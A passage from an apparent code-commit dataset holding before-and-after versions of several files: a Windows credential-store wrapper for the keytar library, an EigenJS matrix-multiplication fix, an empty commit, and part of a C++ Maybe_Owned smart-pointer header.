GetPassword(const std::string& service,\n                 const std::string& account,\n                 std::string* password,\n                 std::string* errStr) {\n  LPWSTR target_name = utf8ToWideChar(service + '\/' + account);\n  if (target_name == NULL) {\n    return FAIL_ERROR;\n  }\n\n  CREDENTIAL* cred;\n  bool result = ::CredRead(target_name, CRED_TYPE_GENERIC, 0, &cred);\n  delete[] target_name;\n  if (!result) {\n    DWORD code = ::GetLastError();\n    if (code == ERROR_NOT_FOUND) {\n      return FAIL_NONFATAL;\n    } else {\n      *errStr = getErrorMessage(code);\n      return FAIL_ERROR;\n    }\n  }\n\n  *password = std::string(reinterpret_cast<char*>(cred->CredentialBlob),\n                          cred->CredentialBlobSize);\n  ::CredFree(cred);\n  return SUCCESS;\n}\n\nKEYTAR_OP_RESULT DeletePassword(const std::string& service,\n                    const std::string& account,\n                    std::string* errStr) {\n  LPWSTR target_name = utf8ToWideChar(service + '\/' + account);\n  if (target_name == NULL) {\n    return FAIL_ERROR;\n  }\n\n  bool result = ::CredDelete(target_name, CRED_TYPE_GENERIC, 0);\n  delete[] target_name;\n  if (!result) {\n    DWORD code = ::GetLastError();\n    if (code == ERROR_NOT_FOUND) {\n      return FAIL_NONFATAL;\n    } else {\n      *errStr = getErrorMessage(code);\n      return FAIL_ERROR;\n    }\n  }\n\n  return SUCCESS;\n}\n\nKEYTAR_OP_RESULT FindPassword(const std::string& service,\n                  std::string* password,\n                  std::string* errStr) {\n  LPWSTR filter = utf8ToWideChar(service + \"*\");\n  if (filter == NULL) {\n    return FAIL_ERROR;\n  }\n\n  DWORD count;\n  CREDENTIAL** creds;\n  bool result = ::CredEnumerate(filter, 0, &count, &creds);\n  delete[] filter;\n  if (!result) {\n    DWORD code = ::GetLastError();\n    if (code == ERROR_NOT_FOUND) {\n      return FAIL_NONFATAL;\n    } else {\n      *errStr = getErrorMessage(code);\n      return FAIL_ERROR;\n    }\n  }\n\n  *password = std::string(reinterpret_cast<char*>(creds[0]->CredentialBlob),\n                          creds[0]->CredentialBlobSize);\n  ::CredFree(creds);\n  return SUCCESS;\n}\n\nKEYTAR_OP_RESULT FindCredentials(const std::string& service,\n                                 std::vector<Credentials>* credentials,\n                                 std::string* errStr) {\n  LPWSTR filter = utf8ToWideChar(service + \"*\");\n\n  DWORD count;\n  CREDENTIAL **creds;\n\n  bool result = ::CredEnumerate(filter, 0, &count, &creds);\n  if (!result) {\n    DWORD code = ::GetLastError();\n    if (code == ERROR_NOT_FOUND) {\n      return FAIL_NONFATAL;\n    } else {\n      *errStr = getErrorMessage(code);\n      return FAIL_ERROR;\n    }\n  }\n\n  for (unsigned int i = 0; i < count; ++i) {\n    CREDENTIAL* cred = creds[i];\n\n    if (cred->UserName == NULL || cred->CredentialBlobSize == NULL) {\n      continue;\n    }\n\n    std::string login = wideCharToAnsi(cred->UserName);\n    std::string password(reinterpret_cast<char*>(cred->CredentialBlob), cred->CredentialBlobSize);\n\n    credentials->push_back(Credentials(login, password));\n  }\n\n  CredFree(creds);\n\n  return SUCCESS;\n}\n\n\n}  \/\/ namespace keytar\n<commit_msg>Break long line in src\/keytar_win.cc<commit_after>#include \"keytar.h\"\n\n#define UNICODE\n\n#include <windows.h>\n#include <wincred.h>\n\n#include \"credentials.h\"\n\nnamespace keytar {\n\nLPWSTR utf8ToWideChar(std::string utf8) {\n  int wide_char_length = MultiByteToWideChar(CP_UTF8,\n                                             0,\n                                             utf8.c_str(),\n                                             -1,\n                                             NULL,\n                                             0);\n  if (wide_char_length == 0) {\n    return NULL;\n  }\n\n  LPWSTR result = new WCHAR[wide_char_length];\n  if (MultiByteToWideChar(CP_UTF8,\n                          0,\n                          utf8.c_str(),\n                          -1,\n                          result,\n                          wide_char_length) == 0) {\n    delete[] result;\n    return NULL;\n  }\n\n  return result;\n}\n\nstd::string wideCharToAnsi(LPWSTR wide_char) {\n  if (wide_char == NULL) {\n    return std::string();\n  }\n\n  int ansi_length = WideCharToMultiByte(CP_ACP,\n                                        0,\n                                        wide_char,\n                                        -1,\n                                        NULL,\n                                        0,\n                                        NULL,\n                                        NULL);\n  if (ansi_length == 0) {\n    return std::string();\n  }\n\n  char* buffer = new char[ansi_length];\n  if (WideCharToMultiByte(CP_ACP,\n                          0,\n                          wide_char,\n                          -1,\n                          buffer,\n                          ansi_length,\n                          NULL,\n                          NULL) == 0) {\n    delete[] buffer;\n    return std::string();\n  }\n\n  std::string result = std::string(buffer);\n  delete[] buffer;\n  return result;\n}\n\nstd::string getErrorMessage(DWORD errorCode) {\n  LPWSTR errBuffer;\n  ::FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,\n                  NULL, errorCode, 0, (LPWSTR) &errBuffer, 0, NULL);\n  std::string errMsg = wideCharToAnsi(errBuffer);\n  LocalFree(errBuffer);\n  return errMsg;\n}\n\nKEYTAR_OP_RESULT SetPassword(const std::string& service,\n                 const std::string& account,\n                 const std::string& password,\n                 std::string* errStr) {\n  LPWSTR target_name = utf8ToWideChar(service + '\/' + account);\n  if (target_name == NULL) {\n    return FAIL_ERROR;\n  }\n\n  LPWSTR user_name = utf8ToWideChar(account);\n  if (target_name == NULL) {\n    return FAIL_ERROR;\n  }\n\n  CREDENTIAL cred = { 0 };\n  cred.Type = CRED_TYPE_GENERIC;\n  cred.TargetName = target_name;\n  cred.UserName = user_name;\n  cred.CredentialBlobSize = password.size();\n  cred.CredentialBlob = (LPBYTE)(password.data());\n  cred.Persist = CRED_PERSIST_LOCAL_MACHINE;\n\n  bool result = ::CredWrite(&cred, 0);\n  delete[] target_name;\n  if (!result) {\n    *errStr = getErrorMessage(::GetLastError());\n    return FAIL_ERROR;\n  } else {\n    return SUCCESS;\n  }\n}\n\nKEYTAR_OP_RESULT GetPassword(const std::string& service,\n                 const std::string& account,\n                 std::string* password,\n                 std::string* errStr) {\n  LPWSTR target_name = utf8ToWideChar(service + '\/' + account);\n  if (target_name == NULL) {\n    return FAIL_ERROR;\n  }\n\n  CREDENTIAL* cred;\n  bool result = ::CredRead(target_name, CRED_TYPE_GENERIC, 0, &cred);\n  delete[] target_name;\n  if (!result) {\n    DWORD code = ::GetLastError();\n    if (code == ERROR_NOT_FOUND) {\n      return FAIL_NONFATAL;\n    } else {\n      *errStr = getErrorMessage(code);\n      return FAIL_ERROR;\n    }\n  }\n\n  *password = std::string(reinterpret_cast<char*>(cred->CredentialBlob),\n                          cred->CredentialBlobSize);\n  ::CredFree(cred);\n  return SUCCESS;\n}\n\nKEYTAR_OP_RESULT DeletePassword(const std::string& service,\n                    const std::string& account,\n                    std::string* errStr) {\n  LPWSTR target_name = utf8ToWideChar(service + '\/' + account);\n  if (target_name == NULL) {\n    return FAIL_ERROR;\n  }\n\n  bool result = ::CredDelete(target_name, CRED_TYPE_GENERIC, 0);\n  delete[] target_name;\n  if (!result) {\n    DWORD code = ::GetLastError();\n    if (code == ERROR_NOT_FOUND) {\n      return FAIL_NONFATAL;\n    } else {\n      *errStr = getErrorMessage(code);\n      return FAIL_ERROR;\n    }\n  }\n\n  return SUCCESS;\n}\n\nKEYTAR_OP_RESULT FindPassword(const std::string& service,\n                  std::string* password,\n                  std::string* errStr) {\n  LPWSTR filter = utf8ToWideChar(service + \"*\");\n  if (filter == NULL) {\n    return FAIL_ERROR;\n  }\n\n  DWORD count;\n  CREDENTIAL** creds;\n  bool result = ::CredEnumerate(filter, 0, &count, &creds);\n  delete[] filter;\n  if (!result) {\n    DWORD code = ::GetLastError();\n    if (code == ERROR_NOT_FOUND) {\n      return FAIL_NONFATAL;\n    } else {\n      *errStr = getErrorMessage(code);\n      return FAIL_ERROR;\n    }\n  }\n\n  *password = std::string(reinterpret_cast<char*>(creds[0]->CredentialBlob),\n                          creds[0]->CredentialBlobSize);\n  ::CredFree(creds);\n  return SUCCESS;\n}\n\nKEYTAR_OP_RESULT FindCredentials(const std::string& service,\n                                 std::vector<Credentials>* credentials,\n                                 std::string* errStr) {\n  LPWSTR filter = utf8ToWideChar(service + \"*\");\n\n  DWORD count;\n  CREDENTIAL **creds;\n\n  bool result = ::CredEnumerate(filter, 0, &count, &creds);\n  if (!result) {\n    DWORD code = ::GetLastError();\n    if (code == ERROR_NOT_FOUND) {\n      return FAIL_NONFATAL;\n    } else {\n      *errStr = getErrorMessage(code);\n      return FAIL_ERROR;\n    }\n  }\n\n  for (unsigned int i = 0; i < count; ++i) {\n    CREDENTIAL* cred = creds[i];\n\n    if (cred->UserName == NULL || cred->CredentialBlobSize == NULL) {\n      continue;\n    }\n\n    std::string login = wideCharToAnsi(cred->UserName);\n    std::string password(\n      reinterpret_cast<char*>(\n        cred->CredentialBlob),\n        cred->CredentialBlobSize);\n\n    credentials->push_back(Credentials(login, password));\n  }\n\n  CredFree(creds);\n\n  return SUCCESS;\n}\n\n\n}  \/\/ namespace keytar\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ CMatrixBlock\/instance_method_mula.hpp\n\/\/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\/\/\n\/\/ Copyright (c) 2014 Rick Yang (rick68 at gmail dot com)\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla\n\/\/ Public License v. 2.0. If a copy of the MPL was not distributed\n\/\/ with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\/\/\n\n#ifndef EIGENJS_CMATRIXBLOCK_INSTANCE_METHOD_MULA_HPP\n#define EIGENJS_CMATRIXBLOCK_INSTANCE_METHOD_MULA_HPP\n\nnamespace EigenJS {\n\nEIGENJS_INSTANCE_METHOD(CMatrixBlock, mula,\n{\n  NanScope();\n\n  if (args.Length() == 1) {\n    CMatrixBlock* obj = node::ObjectWrap::Unwrap<CMatrixBlock>(args.This());\n    typename CMatrixBlock::value_type& value = **obj;\n\n    if (CMatrix::is_cmatrix(args[0])) {\n      const CMatrix* const& rhs_obj =\n        node::ObjectWrap::Unwrap<CMatrix>(args[0]->ToObject());\n      const typename CMatrix::value_type& rhs_cmatrix = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      if (value.cols() != rhs_cmatrix.rows() ||\n          value.cols() != rhs_cmatrix.cols()) {\n        NanThrowError(\"The complex matrix block size must be mxm\");\n        NanReturnUndefined();\n      }\n\n      value *= rhs_cmatrix;\n\n      NanReturnValue(args.This());\n    } else if (CVector::is_cvector(args[0])) {\n      const CVector* const& rhs_obj =\n        node::ObjectWrap::Unwrap<Vector>(args[0]->ToObject());\n      const typename CVector::value_type& rhs_cvector = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      if (value.cols() != rhs_cvector.rows() ||\n          value.cols() != rhs_cvector.cols()\n      ) {\n        NanThrowError(\"The operation result is out of range\");\n        NanReturnUndefined();\n      }\n\n      value *= rhs_cvector;\n\n      NanReturnValue(args.This());\n    } else if (CRowVector::is_crowvector(args[0])) {\n      const CRowVector* const& rhs_obj =\n        node::ObjectWrap::Unwrap<CRowVector>(args[0]->ToObject());\n      const typename CRowVector::value_type& rhs_crowvector = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      if (value.rows() != 1 ||\n          value.cols() != 1 ||\n          rhs_crowvector.rows() != 1 ||\n          rhs_crowvector.cols() != 1\n      ) {\n        NanThrowError(\"The operation result is out of range\");\n        NanReturnUndefined();\n      }\n\n      value *= rhs_crowvector;\n\n      NanReturnValue(args.This());\n    } else if (CMatrixBlock::is_cmatrixblock(args[0])) {\n      const CMatrixBlock* const& rhs_obj =\n        node::ObjectWrap::Unwrap<CMatrixBlock>(args[0]->ToObject());\n      const typename CMatrixBlock::value_type& rhs_cmatrixblock = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      if (value.cols() != rhs_cmatrixblock.rows() ||\n          value.cols() != rhs_cmatrixblock.cols()) {\n        NanThrowError(\"The complex matrix block size must be mxm\");\n        NanReturnUndefined();\n      }\n\n      value *= rhs_cmatrixblock;\n\n      NanReturnValue(args.This());\n    } else if (Matrix::is_matrix(args[0])) {\n      const Matrix* const& rhs_obj =\n        node::ObjectWrap::Unwrap<Matrix>(args[0]->ToObject());\n      const typename Matrix::value_type& rhs_matrix = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      if (value.cols() != rhs_matrix.rows() ||\n          value.cols() != rhs_matrix.cols()) {\n        NanThrowError(\"The matrix block size must be mxm\");\n        NanReturnUndefined();\n      }\n\n      value *= rhs_matrix;\n\n      NanReturnValue(args.This());\n    } else if (Vector::is_vector(args[0])) {\n      const Vector* const& rhs_obj =\n        node::ObjectWrap::Unwrap<Vector>(args[0]->ToObject());\n      const typename Vector::value_type& rhs_vector = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      if (value.cols() != rhs_vector.rows() ||\n          value.cols() != rhs_vector.cols()\n      ) {\n        NanThrowError(\"The operation result is out of range\");\n        NanReturnUndefined();\n      }\n\n      value *= rhs_vector;\n\n      NanReturnValue(args.This());\n    } else if (RowVector::is_rowvector(args[0])) {\n      const RowVector* const& rhs_obj =\n        node::ObjectWrap::Unwrap<RowVector>(args[0]->ToObject());\n      const typename RowVector::value_type& rhs_rowvector = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      if (value.rows() != 1 ||\n          value.cols() != 1 ||\n          rhs_rowvector.rows() != 1 ||\n          rhs_rowvector.cols() != 1\n      ) {\n        NanThrowError(\"The operation result is out of range\");\n        NanReturnUndefined();\n      }\n\n      value *= rhs_rowvector;\n\n      NanReturnValue(args.This());\n    } else if (MatrixBlock::is_matrixblock(args[0])) {\n      const MatrixBlock* const& rhs_obj =\n        node::ObjectWrap::Unwrap<MatrixBlock>(args[0]->ToObject());\n      const typename MatrixBlock::value_type& rhs_matrixblock = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      if (value.cols() != rhs_matrixblock.rows() ||\n          value.cols() != rhs_matrixblock.cols()) {\n        NanThrowError(\"The matrix block size must be mxm\");\n        NanReturnUndefined();\n      }\n\n      value *= rhs_matrixblock;\n\n      NanReturnValue(args.This());\n    } else if (T::is_scalar(args[0])) {\n      value *= args[0]->NumberValue();\n\n      NanReturnValue(args.This());\n    } else if (Complex::is_complex(args[0])) {\n      const Complex* const& rhs_obj =\n        node::ObjectWrap::Unwrap<Complex>(args[0]->ToObject());\n      const typename Complex::value_type& rhs_complex = **rhs_obj;\n\n      value *= rhs_complex;\n\n      NanReturnValue(args.This());\n    }\n  }\n\n  EIGENJS_THROW_ERROR_INVALID_ARGUMENT()\n  NanReturnUndefined();\n})\n\n}  \/\/ namespace EigenJS\n\n#endif  \/\/ EIGENJS_CMATRIXBLOCK_INSTANCE_METHOD_MULA_HPP\n<commit_msg>src: fixed a mistake<commit_after>\/\/\n\/\/ CMatrixBlock\/instance_method_mula.hpp\n\/\/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\/\/\n\/\/ Copyright (c) 2014 Rick Yang (rick68 at gmail dot com)\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla\n\/\/ Public License v. 2.0. If a copy of the MPL was not distributed\n\/\/ with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\/\/\n\n#ifndef EIGENJS_CMATRIXBLOCK_INSTANCE_METHOD_MULA_HPP\n#define EIGENJS_CMATRIXBLOCK_INSTANCE_METHOD_MULA_HPP\n\nnamespace EigenJS {\n\nEIGENJS_INSTANCE_METHOD(CMatrixBlock, mula,\n{\n  NanScope();\n\n  if (args.Length() == 1) {\n    CMatrixBlock* obj = node::ObjectWrap::Unwrap<CMatrixBlock>(args.This());\n    typename CMatrixBlock::value_type& value = **obj;\n\n    if (CMatrix::is_cmatrix(args[0])) {\n      const CMatrix* const& rhs_obj =\n        node::ObjectWrap::Unwrap<CMatrix>(args[0]->ToObject());\n      const typename CMatrix::value_type& rhs_cmatrix = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      if (value.cols() != rhs_cmatrix.rows() ||\n          value.cols() != rhs_cmatrix.cols()) {\n        NanThrowError(\"The complex matrix block size must be mxm\");\n        NanReturnUndefined();\n      }\n\n      value *= rhs_cmatrix;\n\n      NanReturnValue(args.This());\n    } else if (CVector::is_cvector(args[0])) {\n      const CVector* const& rhs_obj =\n        node::ObjectWrap::Unwrap<CVector>(args[0]->ToObject());\n      const typename CVector::value_type& rhs_cvector = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      if (value.cols() != rhs_cvector.rows() ||\n          value.cols() != rhs_cvector.cols()\n      ) {\n        NanThrowError(\"The operation result is out of range\");\n        NanReturnUndefined();\n      }\n\n      value *= rhs_cvector;\n\n      NanReturnValue(args.This());\n    } else if (CRowVector::is_crowvector(args[0])) {\n      const CRowVector* const& rhs_obj =\n        node::ObjectWrap::Unwrap<CRowVector>(args[0]->ToObject());\n      const typename CRowVector::value_type& rhs_crowvector = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      if (value.rows() != 1 ||\n          value.cols() != 1 ||\n          rhs_crowvector.rows() != 1 ||\n          rhs_crowvector.cols() != 1\n      ) {\n        NanThrowError(\"The operation result is out of range\");\n        NanReturnUndefined();\n      }\n\n      value *= rhs_crowvector;\n\n      NanReturnValue(args.This());\n    } else if (CMatrixBlock::is_cmatrixblock(args[0])) {\n      const CMatrixBlock* const& rhs_obj =\n        node::ObjectWrap::Unwrap<CMatrixBlock>(args[0]->ToObject());\n      const typename CMatrixBlock::value_type& rhs_cmatrixblock = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      if (value.cols() != rhs_cmatrixblock.rows() ||\n          value.cols() != rhs_cmatrixblock.cols()) {\n        NanThrowError(\"The complex matrix block size must be mxm\");\n        NanReturnUndefined();\n      }\n\n      value *= rhs_cmatrixblock;\n\n      NanReturnValue(args.This());\n    } else if (Matrix::is_matrix(args[0])) {\n      const Matrix* const& rhs_obj =\n        node::ObjectWrap::Unwrap<Matrix>(args[0]->ToObject());\n      const typename Matrix::value_type& rhs_matrix = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      if (value.cols() != rhs_matrix.rows() ||\n          value.cols() != rhs_matrix.cols()) {\n        NanThrowError(\"The matrix block size must be mxm\");\n        NanReturnUndefined();\n      }\n\n      value *= rhs_matrix;\n\n      NanReturnValue(args.This());\n    } else if (Vector::is_vector(args[0])) {\n      const Vector* const& rhs_obj =\n        node::ObjectWrap::Unwrap<Vector>(args[0]->ToObject());\n      const typename Vector::value_type& rhs_vector = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      if (value.cols() != rhs_vector.rows() ||\n          value.cols() != rhs_vector.cols()\n      ) {\n        NanThrowError(\"The operation result is out of range\");\n        NanReturnUndefined();\n      }\n\n      value *= rhs_vector;\n\n      NanReturnValue(args.This());\n    } else if (RowVector::is_rowvector(args[0])) {\n      const RowVector* const& rhs_obj =\n        node::ObjectWrap::Unwrap<RowVector>(args[0]->ToObject());\n      const typename RowVector::value_type& rhs_rowvector = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      if (value.rows() != 1 ||\n          value.cols() != 1 ||\n          rhs_rowvector.rows() != 1 ||\n          rhs_rowvector.cols() != 1\n      ) {\n        NanThrowError(\"The operation result is out of range\");\n        NanReturnUndefined();\n      }\n\n      value *= rhs_rowvector;\n\n      NanReturnValue(args.This());\n    } else if (MatrixBlock::is_matrixblock(args[0])) {\n      const MatrixBlock* const& rhs_obj =\n        node::ObjectWrap::Unwrap<MatrixBlock>(args[0]->ToObject());\n      const typename MatrixBlock::value_type& rhs_matrixblock = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      if (value.cols() != rhs_matrixblock.rows() ||\n          value.cols() != rhs_matrixblock.cols()) {\n        NanThrowError(\"The matrix block size must be mxm\");\n        NanReturnUndefined();\n      }\n\n      value *= rhs_matrixblock;\n\n      NanReturnValue(args.This());\n    } else if (T::is_scalar(args[0])) {\n      value *= args[0]->NumberValue();\n\n      NanReturnValue(args.This());\n    } else if (Complex::is_complex(args[0])) {\n      const Complex* const& rhs_obj =\n        node::ObjectWrap::Unwrap<Complex>(args[0]->ToObject());\n      const typename Complex::value_type& rhs_complex = **rhs_obj;\n\n      value *= rhs_complex;\n\n      NanReturnValue(args.This());\n    }\n  }\n\n  EIGENJS_THROW_ERROR_INVALID_ARGUMENT()\n  NanReturnUndefined();\n})\n\n}  \/\/ namespace EigenJS\n\n#endif  \/\/ EIGENJS_CMATRIXBLOCK_INSTANCE_METHOD_MULA_HPP\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Reduce indentation by early bailout.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2015 Luke San Antonio\n * All rights reserved.\n *\/\n#pragma once\n#include <memory>\n#include <utility> \/\/ for std::move\nnamespace game\n{\n  template <class T> struct Maybe_Owned;\n\n  \/*!\n   * Named to be consistent with make_shared and make_unique.\n   *\/\n  template <class T, class... Args>\n  Maybe_Owned<T> make_maybe_owned(Args&&... args) noexcept\n  {\n    return Maybe_Owned<T>(new T(std::forward<Args>(args)...), true);\n  }\n  \/*!\n   * Named to contrast and stress the owned nature of the pointer passed in.\n   *\/\n  template <class T>\n  Maybe_Owned<T> make_owned_maybe(T* ptr) noexcept\n  {\n    return Maybe_Owned<T>(ptr, true);\n  }\n\n  \/\/ TODO Support a custom deleter.\n  template <class T>\n  struct Maybe_Owned\n  {\n    template <class... Args>\n    explicit Maybe_Owned(Args&&... args) noexcept;\n\n    explicit Maybe_Owned(T&& t) noexcept;\n\n    \/*!\n     * \\brief Construct the maybe owned with a borrowed\/unowned ptr.\n     *\n     * \\note If you are using this constructor to initialize a maybe owned\n     * of type base with a new pointer to a derived instance, make sure to\n     * set the second parameter to true. Better yet use make_maybe_owned\n     * declared above! make_owned_maybe can also be used if the pointer\n     * cannot be constructed by the client.\n     *\/\n    \/* implicit *\/ Maybe_Owned(T* t = nullptr, bool owned = false) noexcept;\n\n    template <class R>\n    Maybe_Owned(std::unique_ptr<R>) noexcept;\n\n    template <class R>\n    Maybe_Owned(Maybe_Owned<R>&&) noexcept;\n    Maybe_Owned(Maybe_Owned const&) noexcept = delete;\n\n    template <class R>\n    Maybe_Owned& operator=(std::unique_ptr<R>) noexcept;\n\n    template <class R>\n    Maybe_Owned& operator=(Maybe_Owned<R>&&) noexcept;\n    Maybe_Owned& operator=(Maybe_Owned const&&) noexcept = delete;\n\n    ~Maybe_Owned() noexcept;\n\n    void set_owned(T&& t) noexcept;\n    void set_owned(T const& t) noexcept;\n    void set_owned(T* t) noexcept;\n    void set_pointer(T* t, bool owned = false) noexcept;\n\n    template <class R>\n    void set_pointer(Maybe_Owned<R> const&) noexcept;\n\n    template <class R, class... Args>\n    void emplace_owned(Args&&... args) noexcept;\n\n    T* get() const noexcept;\n    T&& unwrap() noexcept;\n    T* operator->() const noexcept;\n    T& operator*() const noexcept;\n\n    operator bool() const noexcept;\n\n    bool is_owned() const noexcept;\n    bool is_pointer() const noexcept;\n  private:\n    bool owned_ = false;\n    T* ptr_ = nullptr;\n  };\n\n  template <class T>\n  template <class... Args>\n  Maybe_Owned<T>::Maybe_Owned(Args&&... args) noexcept\n    : owned_(true), ptr_(new T{std::forward<Args>(args)...}) {}\n\n  template <class T>\n  Maybe_Owned<T>::Maybe_Owned(T&& t) noexcept\n    : owned_(true), ptr_(new T(std::move(t))) {}\n\n  template <class T>\n  Maybe_Owned<T>::Maybe_Owned(T* t, bool o) noexcept : owned_(o), ptr_(t) {}\n\n  template <class T>\n  template <class R>\n  Maybe_Owned<T>::Maybe_Owned(std::unique_ptr<R> ptr) noexcept\n    : owned_(true), ptr_(ptr.release()) {}\n\n  template <class T>\n  Maybe_Owned<T>::~Maybe_Owned() noexcept\n  {\n    if(owned_) delete ptr_;\n  }\n\n  template <class T>\n  template <class R>\n  Maybe_Owned<T>::Maybe_Owned(Maybe_Owned<R>&& mo1) noexcept\n    : owned_(mo1.owned_), ptr_(mo1.ptr_)\n  {\n    mo1.owned_ = false;\n    \/\/ We don't need to null the pointer since setting the owned value to false\n    \/\/ should suffice in preventing this other maybe-owned from deleting its\n    \/\/ pointer. Nonetheless:\n    mo1.ptr_ = nullptr;\n  }\n\n  template <class T>\n  template <class R>\n  Maybe_Owned<T>& Maybe_Owned<T>::operator=(std::unique_ptr<R> ptr) noexcept\n  {\n    owned_ = true;\n    ptr_ = ptr.release();\n\n    return *this;\n  }\n\n  template <class T>\n  template <class R>\n  Maybe_Owned<T>& Maybe_Owned<T>::operator=(Maybe_Owned<R>&& mo1) noexcept\n  {\n    owned_ = mo1.owned_;\n    ptr_ = mo1.ptr_;\n\n    mo1.owned_ = false;\n    mo1.ptr_ = nullptr;\n\n    return *this;\n  }\n\n  template <class T>\n  void Maybe_Owned<T>::set_owned(T&& t) noexcept\n  {\n    owned_ = true;\n    ptr_ = new T(std::move(t));\n  }\n  template <class T>\n  void Maybe_Owned<T>::set_owned(T const& t) noexcept\n  {\n    owned_ = true;\n    ptr_ = new T(t);\n  }\n  template <class T>\n  void Maybe_Owned<T>::set_owned(T* t) noexcept\n  {\n    owned_ = true;\n    ptr_ = t;\n  }\n  template <class T>\n  void Maybe_Owned<T>::set_pointer(T* t, bool o) noexcept\n  {\n    owned_ = o;\n    ptr_ = t;\n  }\n  template <class T>\n  template <class R>\n  void Maybe_Owned<T>::set_pointer(Maybe_Owned<R> const& mo) noexcept\n  {\n    set_pointer(mo.get(), false);\n  }\n\n  template <class T>\n  template <class R, class... Args>\n  void Maybe_Owned<T>::emplace_owned(Args&&... args) noexcept\n  {\n    owned_ = true;\n    ptr_ = new R(std::forward<Args>(args)...);\n  }\n\n  template <class T>\n  T* Maybe_Owned<T>::get() const noexcept\n  {\n    return ptr_;\n  }\n\n  template <class T>\n  T&& Maybe_Owned<T>::unwrap() noexcept\n  {\n    T&& old_t = std::move(*ptr_);\n    if(owned_)\n    {\n      delete ptr_;\n    }\n    ptr_ = nullptr;\n    owned_ = false;\n    return std::move(old_t);\n  }\n\n  template <class T>\n  T* Maybe_Owned<T>::operator->() const noexcept\n  {\n    return ptr_;\n  }\n  template <class T>\n  T& Maybe_Owned<T>::operator*() const noexcept\n  {\n    return *ptr_;\n  }\n\n  template <class T>\n  bool Maybe_Owned<T>::is_owned() const noexcept\n  {\n    return owned_;\n  }\n  template <class T>\n  bool Maybe_Owned<T>::is_pointer() const noexcept\n  {\n    return !owned_;\n  }\n\n  template <class T>\n  Maybe_Owned<T>::operator bool() const noexcept\n  {\n    return get();\n  }\n}\n<commit_msg>Maybe_Owned now releases its own pointer (if owned) when switching pointers.<commit_after>\/*\n * Copyright (C) 2015 Luke San Antonio\n * All rights reserved.\n *\/\n#pragma once\n#include <memory>\n#include <utility> \/\/ for std::move\nnamespace game\n{\n  template <class T> struct Maybe_Owned;\n\n  \/*!\n   * Named to be consistent with make_shared and make_unique.\n   *\/\n  template <class T, class... Args>\n  Maybe_Owned<T> make_maybe_owned(Args&&... args) noexcept\n  {\n    return Maybe_Owned<T>(new T(std::forward<Args>(args)...), true);\n  }\n  \/*!\n   * Named to contrast and stress the owned nature of the pointer passed in.\n   *\/\n  template <class T>\n  Maybe_Owned<T> make_owned_maybe(T* ptr) noexcept\n  {\n    return Maybe_Owned<T>(ptr, true);\n  }\n\n  \/\/ TODO Support a custom deleter.\n  template <class T>\n  struct Maybe_Owned\n  {\n    template <class... Args>\n    explicit Maybe_Owned(Args&&... args) noexcept;\n\n    explicit Maybe_Owned(T&& t) noexcept;\n\n    \/*!\n     * \\brief Construct the maybe owned with a borrowed\/unowned ptr.\n     *\n     * \\note If you are using this constructor to initialize a maybe owned\n     * of type base with a new pointer to a derived instance, make sure to\n     * set the second parameter to true. Better yet use make_maybe_owned\n     * declared above! make_owned_maybe can also be used if the pointer\n     * cannot be constructed by the client.\n     *\/\n    \/* implicit *\/ Maybe_Owned(T* t = nullptr, bool owned = false) noexcept;\n\n    template <class R>\n    Maybe_Owned(std::unique_ptr<R>) noexcept;\n\n    template <class R>\n    Maybe_Owned(Maybe_Owned<R>&&) noexcept;\n    Maybe_Owned(Maybe_Owned const&) noexcept = delete;\n\n    template <class R>\n    Maybe_Owned& operator=(std::unique_ptr<R>) noexcept;\n\n    template <class R>\n    Maybe_Owned& operator=(Maybe_Owned<R>&&) noexcept;\n    Maybe_Owned& operator=(Maybe_Owned const&&) noexcept = delete;\n\n    ~Maybe_Owned() noexcept;\n\n    void set_owned(T&& t) noexcept;\n    void set_owned(T const& t) noexcept;\n    void set_owned(T* t) noexcept;\n    void set_pointer(T* t, bool owned = false) noexcept;\n\n    template <class R>\n    void set_pointer(Maybe_Owned<R> const&) noexcept;\n\n    template <class R, class... Args>\n    void emplace_owned(Args&&... args) noexcept;\n\n    T* get() const 